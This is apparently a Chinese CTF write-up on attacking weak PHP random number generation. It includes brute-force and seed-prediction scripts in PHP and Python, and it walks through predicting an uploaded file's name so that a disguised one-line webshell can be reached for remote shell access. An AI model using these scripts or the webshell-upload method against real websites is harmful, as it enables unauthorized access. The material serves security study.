zoukankan      html  css  js  c++  java
  • web-ctf随机数安全

    rand() 函数在产生随机数的时候没有调用 srand(),则产生的随机数是有规律可询的.

    产生的随机数可以用下面这个公式预测 : state[i] = state[i-3] + state[i-31] (一般预测值可能比实际值要差1)

    $randstr = array();
    
    for ($i = 0; $i <= 50; $i++) {
    
        $randstr[$i] = rand(0, 30);
    
        if ($i >= 31) {
    
            echo "第" . $i . "个随机数:";
    
            echo "$randstr[$i]=(" . $randstr[$i - 31] . "+" . $randstr[$i - 3] . ") mod 32 +1
    ";
            echo "<br>";
    
        } else {
    
            echo "第" . $i . "个随机数:" . $randstr[$i] . "
    ";
            echo "<br>";
    
        }
    
    }

    结果如下:

    第0个随机数:0 
    第1个随机数:12 
    第2个随机数:18 
    第3个随机数:27 
    第4个随机数:25 
    第5个随机数:30 
    第6个随机数:15 
    第7个随机数:20 
    第8个随机数:17 
    第9个随机数:25 
    第10个随机数:30 
    第11个随机数:28 
    第12个随机数:13 
    第13个随机数:23 
    第14个随机数:1 
    第15个随机数:8 
    第16个随机数:5 
    第17个随机数:5 
    第18个随机数:4 
    第19个随机数:25 
    第20个随机数:30 
    第21个随机数:28 
    第22个随机数:7 
    第23个随机数:5 
    第24个随机数:18 
    第25个随机数:8 
    第26个随机数:24 
    第27个随机数:12 
    第28个随机数:7 
    第29个随机数:3 
    第30个随机数:24 
    第31个随机数:2=(0+7) mod 32 +1 
    第32个随机数:18=(12+3) mod 32 +1 
    第33个随机数:25=(18+24) mod 32 +1 
    第34个随机数:21=(27+2) mod 32 +1 
    第35个随机数:11=(25+18) mod 32 +1 
    第36个随机数:27=(30+25) mod 32 +1 
    第37个随机数:5=(15+21) mod 32 +1 
    第38个随机数:14=(20+11) mod 32 +1 
    第39个随机数:24=(17+27) mod 32 +1 
    第40个随机数:26=(25+5) mod 32 +1 
    第41个随机数:17=(30+14) mod 32 +1 
    第42个随机数:17=(28+24) mod 32 +1 
    第43个随机数:14=(13+26) mod 32 +1 
    第44个随机数:22=(23+17) mod 32 +1 
    第45个随机数:25=(1+17) mod 32 +1 
    第46个随机数:30=(8+14) mod 32 +1 
    第47个随机数:0=(5+22) mod 32 +1 
    第48个随机数:6=(5+25) mod 32 +1 
    第49个随机数:8=(4+30) mod 32 +1 
    第50个随机数:5=(25+0) mod 32 +1 

    看到CTF题,当时题目中max_num未知。当我们请求时,大致知道max_num的范围,当时得到的最大值是990,不超过4位数。可以通过爆破解此题。:

    session_start();
    define(MAX_NUM,998);
    if (isset($_GET['code']) && intval($_GET['code']) === $_SESSION['code']) {
    
        die('flag{11111111111111111}');
    
    } else {echo "wrong answer!";}
    
    srand(rand(0, MAX_NUM));   //进行播种
    
    for ($i = 0; $i < 3; $i++) {
    
        echo "<h3>randnum$i:" . rand(0, MAX_NUM) . "</h3><br>";
    
    }
    
    echo 'sessionid: ' . session_id();
    
    var_dump($_SESSION);
    
    $_SESSION['code'] = rand(0, MAX_NUM);
    
    var_dump($_SESSION);
    
    ?>
    
    <form action="" method="get">
    
    the next random num is:<input type="text" name="code"/>
    
    <input type="submit"/>
    
    </form>
     

    可以写如下脚本,从990开始预测:

    $max_num = 1000;
    
    for ($k = 990; $k <= 1000; $k++) {
    
        $max_num = $k;
    
        for ($i = 0; $i <= 1000; $i++) {
    
            srand($i);
    
            echo 'srand:' . $i . ':' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num) . ' ' . rand(1, $max_num);
    
            echo "<br>";
    
        }
    
    }

    得到预测结果。填上拿到flag.

    第二种做法是写一个py脚本直接去爆破随机数,因为随机数的范围都是小于1000的,因此这些直接爆破0,1000即可.

    import requests
    
    
    url = 'http://0.0.0.0:91/index.php'
    
    s = requests.session()
    
    
    # headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101 Firefox/50.0'}
    
    # html = s.get(url,headers=headers)
    
    
    for i in range(1000):
    
        #s = requests.session()
    
    
        url2 = url+'?code='+str(i)
    
        res = s.get(url2)
    
        print res.content
    
        if 'flag' in res.content:
    
            print res.content 
    
            break

    大概每个session 可以爆出2,3次就无法再次爆破了,也是有一点随机性在里面的

    ps: 其实session()这个函数有点像随机数播种, 程序每次运行一次session函数,都会分配一个固定的sessionid, 上面这个程序把session放在前面,那么循环部分的sessionid都是一样的,和我们浏览器访问并没有很大区别, 但如果是把session()函数放到循环体里面,那么每次访问的sessionid的值都会变化,相当于1000个人同时访问一次站点, 前面相当于一个人访问了1000次站点

    mt_srand()函数用 time()做种子值, 相当于已知的, 我们可以本地用 time()这个种子值去预测pwd的值, 这第一层判断很容易绕过, 第二层的判断就有点迷了

    发现这个第二层的判断为 if ($_SESSION['userLogin'] == $_GET['login']) , 只是简单的判断了下是否相等,而没有判断 $_GET['login'] 这个值是否为空, 因为程序如果第一次加载,那么此时 $_SESSION还没有赋值, $_SESSION['login'] 的内容自然是空, NULL===NULL, 很容易就绕过了第二层, 因此这题第二层判断形如虚设,如果你的时间和服务器上面的时间不同步,即time()的值不相同话,需要去偏移一个大概范围去爆破:

    脚本如下:

    function create_password($pw_length = 10) {
    
        $randpwd = "";
    
        for ($i = 0; $i < $pw_length; $i++) {
    
            $randpwd .= chr(mt_rand(100, 200));
    
        }
    
        return $randpwd;
    
    }
    
    
    mt_srand(time());
    
    $pass = create_password();
    
    echo $pass . "
    ";
    
    $curl = curl_init();
    
    curl_setopt($curl, CURLOPT_URL, 'http://127.0.0.1/php_code/yuce.php?pwd=' . $pass);
    
    $output = curl_exec($curl);
    
    print_r($output);
    
    curl_close($curl);

    在看一道njctf随机数的题目:

    题目大体思路就是能上传图片文件+文件包含=getshell。但是有一个难点就是如何得到上传文件名。这里就涉及到随机数和session的知识。

    先说下session。session_start()会创建唯一的session id。当你携带着session过来时。session_start()就不会分配一个新的session id。

    当你把PHPSESSID=;这样后端接受到的session id就会为空。

    假如把PHPSESSID都删了。则会重新赋值一个新的session id

    如果sessionid是没有的话,那么session_id()就是空字符串,这样的话,hash就是$ss的md5值,也就是纯数字,放cmd5解密就可以得到明文,也就是随机数,

    mt_rand生成的随机数是可以破解得到种子,所以可以再通过种子预测到后面的random_str的值,从而得到上传的文件名.(这里我们把md5函数去掉)

    error_reporting(0);
    function show_error_message($message)
    {
        die("<div class="msg error" id="message"> <i class="fa fa-exclamation-triangle"></i>$message</div>");
    }
    
    function show_message($message)
    {
        echo("<div class="msg success" id="message"> <i class="fa fa-exclamation-triangle"></i>$message</div>");
    }
    
    function random_str($length = "32")
    {
        $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
            "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
            "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
            "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
            "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
        $str = '';
    
        for ($i = 1; $i <= $length; ++$i) {
            $ch = mt_rand(0, count($set) - 1);
            $str .= $set[$ch];
        }
    
        return $str;
    }
    $reg='/gif|jpg|jpeg|png/';
    if (isset($_POST['submit'])) {
    
        $seed = rand(0,999999999);
        mt_srand($seed);
        $ss = mt_rand();
        echo "ss:".$ss;
        echo "<br>";
        // $hash = md5(session_id().$ss);
        $hash = session_id().$ss;           //原题这里是md5(session_id.$ss).这里把md5加密去掉。
         echo "session_id+ss:".$hash;
         echo "<br>";
        // echo $hash;
        // echo "<br>";
        // echo md5($ss);
        // echo "<br>";
        // echo "新赋值的session:".$hash;
        setcookie('SESSI0N', $hash, time() + 3600);
    
        if ($_FILES["file"]["error"] > 0) {
            show_error_message("Upload ERROR. Return Code: " . $_FILES["file-upload-field"]["error"]);
        }
        $check1 = ((($_FILES["file-upload-field"]["type"] == "image/gif")
                || ($_FILES["file-upload-field"]["type"] == "image/jpeg")
                || ($_FILES["file-upload-field"]["type"] == "image/pjpeg")
                || ($_FILES["file-upload-field"]["type"] == "image/png"))
            && ($_FILES["file-upload-field"]["size"] < 204800));
        $check2=!preg_match($reg,pathinfo($_FILES['file-upload-field']['name'], PATHINFO_EXTENSION));
    
    
        if ($check2) show_error_message("Nope!");
        if ($check1) {
            $filename = './' . random_str() . '_' . $_FILES['file-upload-field']['name'];
            if (move_uploaded_file($_FILES['file-upload-field']['tmp_name'], $filename)) {
                show_message("Upload successfully. File type:" . $_FILES["file-upload-field"]["type"]);
            } else show_error_message("Something wrong with the upload...");
        } else {
            show_error_message("only allow gif/jpeg/png files smaller than 200kb!");
        }
    }
    ?>
    <!DOCTYPE html>
    <html>
    <meta charset="utf-8">
    <head>
        <title>upload</title>
    </head>
    <body>
      <form action="shell.php" method="post" enctype="multipart/form-data">
          选择文件:<input type="file" name="file-upload-field">
          <br>
        提交:<input type="submit" name="submit">
        <br>
        <?php
            echo "session:";
            print_r($_SESSION);
            echo "<br>";
            echo "cookie:";
            print_r($_COOKIE);
         ?>
      </form>
    </body>
    </html>

     具体操作如下:

    准备一个一句话的shell命名为1.jpg,将PHPSESSION设置为空上传。

    发送,server 会给我们一个名为session的cookie。原题目得在解密MD5.我这里去掉了。就不用了。

    1782405370就是随机数。通过php_mt_seed这个tools来破解我们的种子。

    得到可能的种子数。

    写个脚本来预测文件名,(当种子数相同时,通过mt_rand或者rand得到的随机数是相同的)

    比如。同时使用123的种子,即使网页怎么刷新数值都不会变的。用种子得到的每一个都是固定的。

    写通过得到的216400146种子就能得到文件的名字。

    mt_srand(216400146);
    echo mt_rand()."
    
    ";
    function random_str($length = "32") {
      $set = array("a", "A", "b", "B", "c", "C", "d", "D", "e", "E", "f", "F",
        "g", "G", "h", "H", "i", "I", "j", "J", "k", "K", "l", "L",
        "m", "M", "n", "N", "o", "O", "p", "P", "q", "Q", "r", "R",
        "s", "S", "t", "T", "u", "U", "v", "V", "w", "W", "x", "X",
        "y", "Y", "z", "Z", "1", "2", "3", "4", "5", "6", "7", "8", "9");
      $str = '';
    
      for ($i = 1; $i <= $length; ++$i) {
        $ch = mt_rand(0, count($set) - 1);
        $str .= $set[$ch];
      }
    
      return $str;
    }
    
    echo random_str()."
    
    ";

    看上传文件的名字。

     

    通过伪协议文件包含拿shell.

    参考连接:http://www.blogsir.com.cn/safe/515.html

     http://www.cnblogs.com/iamstudy/articles/2017_NJCTF_Some_Web_Writeup.html

    http://momomoxiaoxi.com/2017/03/17/NJCTF/

    https://xz.aliyun.com/t/1520

  • 相关阅读:
    设计模式之工厂方法模式
    设计模式之简单工厂模式
    ASM之ClassVisitor类设计
    多条件拦截链如何实现?
    ElasticSearch三种Java客户端
    Netty源码解析之EventLoopGroup
    Netty源码解析之编解码
    Netty源码解析之Channel+Channelhandler
    线程之ExecutorService
    网络上传文件功能实现步骤总结
  • 原文地址:https://www.cnblogs.com/afanti/p/8722760.html
Copyright © 2011-2022 走看看